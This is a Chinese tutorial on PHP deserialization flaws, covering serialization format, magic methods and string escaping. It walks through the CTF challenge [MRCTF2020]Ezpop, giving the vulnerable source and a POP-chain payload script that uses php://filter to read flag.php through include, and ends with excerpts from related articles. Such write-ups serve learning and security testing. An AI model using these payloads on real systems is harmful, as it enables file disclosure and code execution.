PHP反序列化漏洞实例深入解析

目录
  • 引文
  • 简介
  • 基础知识
    • 序列化
    • 反序列化
    • 属性
    • 魔术方法
  • POP链
    • [MRCTF2020]Ezpop
  • PHP字符串逃逸
  • 结语

引文

上一篇给大家带来了XSS跨站脚本攻击漏洞不知道大家学的咋样了,今天给大家带来另一个漏洞,PHP的反序列化漏洞,这也是我在CTF比赛中遇到过最多的也是比较考察逻辑思维的一种漏洞。

简介

PHP反序列化是一个非常常见的漏洞,利用难度相比于文件上传等漏洞相对较困难,漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。

基础知识

在了解反序列化之前先看看反序列化与序列化:

序列化

序列化就是将 对象object、string、array、变量 转换成具有一定格式的字符串,方便保持稳定的格式在文件中传输,以便还原为原来的内容。这个应该很好理解,学过JAVA反序列化的可以按照JAVA的去理解,只不过用到的函数不一样罢了,下面是一个序列化的例子:

<?php
class XINO{
    var $test = '123456';
}
$class1 = new XINO;
$class1_ser = serialize($class1);
print_r($class1_ser);
?>

输出字符串:

O:4:"XINO":1:{s:4:"test";s:6:"123456";}

O代表存储的是对象(object),4表示有4个字符,XINO表示对象名,1表示有一个值,括号里的以此类推。

反序列化

与序列化相对应,从序列化后的结果中恢复对象(object)。用法和上面的序列化函数差不多,只是作用相反,会恢复被序列化的字符串流。函数为:unserialize。

属性

了解完序列化与反序列化,下一个要了解的我认为是php的属性,有基础的小伙伴可能会知道php的属性有:public(公有),protected(受保护)或 private(私有)。

由于变量的属性不同,序列化后的结果也会有一些细微的差异,这是要十分记住的点,也是个人在学习中经常出错的点:

public:属性被序列化的时候属性值不会更改。

protected:属性被序列化的时候属性值会变成 %00*%00属性名

private:属性被序列化的时候属性值会变成%00类名%00属性名

上面这些要牢牢记住,有时候反序列化攻击不成功也许并不是反序列化利用链不对,而是这些细微的点出错了。

魔术方法

所谓魔术方法,个人理解的是当达成某个特定条件时会自动调用的方法,而在php反序列化中,常用的魔术方法与触发条件如下:

__construct   当一个对象创建时被调用,
__destruct   当一个对象销毁时被调用,
__toString   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__sleep()    使用serialize时触发
__destruct()    对象被销毁时触发
__call()    在对象上下文中调用不可访问的方法时触发
__callStatic()    在静态上下文中调用不可访问的方法时触发
__get()    用于从不可访问的属性读取数据
__set()    用于将数据写入不可访问的属性
__isset()    在不可访问的属性上调用isset()或empty()触发
__unset()     在不可访问的属性上使用unset()时触发
__toString()    把类当作字符串使用时触发,返回值需要为字符串
__invoke()   当脚本尝试将对象调用为函数时触发

比如下面代码:

<?php class TestClass {
public $foo;
public function __construct($foo) {
$this->foo = $foo;
}
public function __toString() {
return $this->foo;
}
}
$class = new TestClass('Hello');
echo $class; // 运行结果:Hello ?>

我们新定义一个了一个TestClass类,由于一个新对象被创建,触发__construct,echo该类时,对象被当作了字符串调用,于是触发__toStrng()方法,最后输出Hello。

POP链

学完上面的基础知识后,我们可以引入POP链的知识了,当注入点存在普通的类方法中,我们就不能调用方法了,所以我们需要找到普通类与魔术方法之间的联系,也就是构造POP链,理出一种逻辑思路,通过这种逻辑思路来构造一条pop链,从而达到攻击的目的。

下面给大家带来一个简单的例子:

[MRCTF2020]Ezpop

打开靶机发现网站源码:

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

这是一道比较经典的POP链题目,可以正着推或者反着推,本次我们反着推,我们一步一步分析:

Modifier类

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }

可以看到有利用点include来进行文件包含,php伪协议来访问flag.php。而要想触发append函数, _invoke函数被调用时会触发include函数。

我们看TEST类,类中有 _get() 魔术方法,将this->p设为一个构造好的Modifier对象。再看看show类,其中有toString魔术方法,在一个对象被当作一个字符串使用时调用,当echo一个对象时会自动触发这个方法。返回了 $this->str->source,最后的一步是让source 等于对象,进而触发 __toString方法。

最后的构造的POP链payload为:

<?php
class Modifier {
	protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
    public $source;
    public $str;
    public function __construct(){
        $this->str = new Test();
    }
}
class Test{
    public $p;
}
$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));
?>

运行一下得到结果:

提交就可以得到结果。

PHP字符串逃逸

学完POP链,我们进阶讲一下PHP字符串逃逸,这也是有一些难度的知识点,可以先简单理解为SQL注入,这里就简单讲讲:反序列化以;}为结束标志,后面的内容则忽略不管。假设我们构造一个序列化字符串

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

如果题目中,将flag过滤,我们的字符串会变成:

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

flag被替换为空了,字符长度不匹配就会向后读取,因为我们要构造恶意字符串去匹配。从而达到逃逸。

结语

今天比较详细的讲了PHP反序列化漏洞的原理以及应用方法,有兴趣的小伙伴可以自己去搭建靶机来进行测试,以上就是PHP反序列化漏洞实例深入解析的详细内容,更多关于PHP反序列化漏洞的资料请关注我们其它相关文章!

时间: 2022-10-08

深入浅析PHP的session反序列化漏洞问题

在php.ini中存在三项配置项: session.save_path="" --设置session的存储路径 session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler string --定义用来序列化/反序列化的处

详解PHP反序列化漏洞的原理及示例

目录 PHP反序列化 序列化与反序列化 PHP魔法函数 反序列化漏洞 简介 原理 触发条件 示例 PHP反序列化 序列化与反序列化 序列化说通俗点就是把一个对象变成可以传输的字符串.序列化过程中还会对不同属性的变量进行不同方式的变化 public的属性在序列化时,直接显示属性名 protected的属性在序列化时,会在属性名前增加0x00*0x00,其长度会增加3 private的属性在序列化时,会在属性名前增加0x00classname0x00,其长度会增加类名长度+2 反序列化就是把被序列化

PHP开发技巧之PHAR反序列化详解

目录 引文 前置知识 PHAR PHAR文件结构 PHAR文件生成样例 实战 结语 引文 之前将PHP反序列化的基础知识讲了一遍,不知道大家学习的怎么样了,今天给大家带来PHP反序列化的进阶知识:PHAR反序列化,也是之前本人在CTF比赛中经常遇到的一种php反序列化的进阶使用吧,下面先给大家讲一讲PHAR反序列化的前置知识. 前置知识 PHAR 在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分

PHP的序列化和反序列化详情

目录 一.PHP 为什么要反序列化? 二.PHP如何反序列化? 三.PHP反序列化漏洞 1.常用 的魔术方法 2.漏洞产生条件 3.题目 一.PHP 为什么要反序列化? PHP程序执行结束以后会将文件中的变量和内容释放掉, 如果一个程序想要的调用之前程序的变量,但是之前的程序已经执行完毕,所有的变量和内容都被释放,那该如何操作呢?这时候就可以通过序列化和反序列化保存程序中的对象,给其他程序使用. php序列化可以将对象转换成字符串,但只序列化属性,不序列化方法. 二.PHP如何反序列化? ​PH

详解PHP反序列化漏洞示例与原理

目录 预备知识 PHP序列化与反序列化 序列化字符串格式 PHP魔术方法 示例 反序列化漏洞 构造函数&析构函数 CVE-2016-7124 预备知识 PHP序列化与反序列化 序列化:将一个复杂的数据类型(如对象.数组.变量等)转换为字符串表示,以便于在网络中传输和在数据库中存储.在PHP语言中使用serialize()函数实现. 反序列化:将一个序列化的字符串重新转换为一个具体的数据类型.在PHP语言中使用unserialize()函数实现. PHP对象中只有数据会被序列化,方法不会被序列化.

详解php反序列化

1  前言 最近也是在复习之前学过的内容,感觉对PHP反序列化的理解更加深了,所以在此总结一下 2  serialize()函数 "所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示.序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字." 一开始看这个概念可能有些懵,但之后也是慢慢理解了 在程序执行结束时,内存数据便会立即销毁,变量所储存的数据便是内存数据,而文件.数据库是"持久数据",因此PHP序列

详解Java线程池和Executor原理的分析

详解Java线程池和Executor原理的分析 线程池作用与基本知识 在开始之前,我们先来讨论下"线程池"这个概念."线程池",顾名思义就是一个线程缓存.它是一个或者多个线程的集合,用户可以把需要执行的任务简单地扔给线程池,而不用过多的纠结与执行的细节.那么线程池有哪些作用?或者说与直接用Thread相比,有什么优势?我简单总结了以下几点: 减小线程创建和销毁带来的消耗 对于Java Thread的实现,我在前面的一篇blog中进行了分析.Java Thread与内

详解vue的数据binding绑定原理

自从angular火了以后,各种mvc框架喷涌而出,angular虽然比较火,但是他的坑还是蛮多的,还有许多性能问题被人们吐槽.比如坑爹的脏检查机制,数据binding是受人喜爱的,脏检查就有点-性能低下了.有时候改了一个地方,脏循环要循环多次来保证数据是不是真的变了和是否停止变化了.这样性能就很低了.于是人们开始钻研新的双向数据binding的方法.尤大的vue binding就是本人蛮喜欢的一种实现方式,本文跟随尤大的一个例子来详解vue的数据binding的原理. 数据binding,一般

详解C++虚函数的工作原理

静态绑定与动态绑定 讨论静态绑定与动态绑定,首先需要理解的是绑定,何为绑定?函数调用与函数本身的关联,以及成员访问与变量内存地址间的关系,称为绑定. 理解了绑定后再理解静态与动态. 静态绑定:指在程序编译过程中,把函数调用与响应调用所需的代码结合的过程,称为静态绑定.发生在编译期. 动态绑定:指在执行期间判断所引用对象的实际类型,根据实际的类型调用其相应的方法.程序运行过程中,把函数调用与响应调用所需的代码相结合的过程称为动态绑定.发生于运行期. C++中动态绑定 在C++中动态绑定是通过虚函数

详解SpringMVC的url-pattern配置及原理剖析

xml里面配置标签: <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd" > <web-app> <display-name>Archetype Created Web Application</display-name> &

详解ES6中class的实现原理

一.在ES6以前实现类和继承 实现类的代码如下: function Person(name, age) { this.name = name; this.age = age; } Person.prototype.speakSomething = function () { console.log("I can speek chinese"); }; 实现继承的代码如下:一般使用原型链继承和call继承混合的形式 function Person(name) { this.name =

详解mybatis foreach collection示例

在SQL开发过程中,动态构建In集合条件查询是比较常见的用法,在Mybatis中提供了foreach功能,该功能比较强大,它允许你指定一个集合,声明集合项和索引变量,它们可以用在元素体内.它也允许你指定开放和关闭的字符串,在迭代之间放置分隔符.这个元素是很智能的,它不会偶然地附加多余的分隔符. 下面是一个演示示例: <select id="findByIdsMap" resultMap="BaseResultMap"> Select <includ

详解Vue监听数据变化原理

本人最近在学习Vue,从网上查询了很多关于Vue监听数据变化原理,稍微整理精简一下做下分享. 浅度监听 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>浅度监听</title> <meta name="viewport" content="width=device-wi

详解node单线程实现高并发原理与node异步I/O

一.node单线程实现高并发原理 众所周知nodejs是单线程且支持高并发的脚本语言.可为什么单线程的nodejs可以支持高并发呢?很多人都不明白其原理,下面我来谈谈我的理解: 1. node的优点:I/O密集型处理是node的强项,因为node的I/O请求都是异步的(如:sql查询请求.文件流操作操作请求.http请求...) a. 什么是异步? 异步:发出操作指令,然后就可以去做别的事情了,所有操作完成后再执行回调 异步的实现原理: // 第一步:定义变量 let a = 1; // 第二步

详解Android中Handler的实现原理

在 Android 中,只有主线程才能操作 UI,但是主线程不能进行耗时操作,否则会阻塞线程,产生 ANR 异常,所以常常把耗时操作放到其它子线程进行.如果在子线程中需要更新 UI,一般是通过 Handler 发送消息,主线程接受消息并且进行相应的逻辑处理.除了直接使用 Handler,还可以通过 View 的 post 方法以及 Activity 的 runOnUiThread 方法来更新 UI,它们内部也是利用了 Handler .在上一篇文章 Android AsyncTask源码分析 中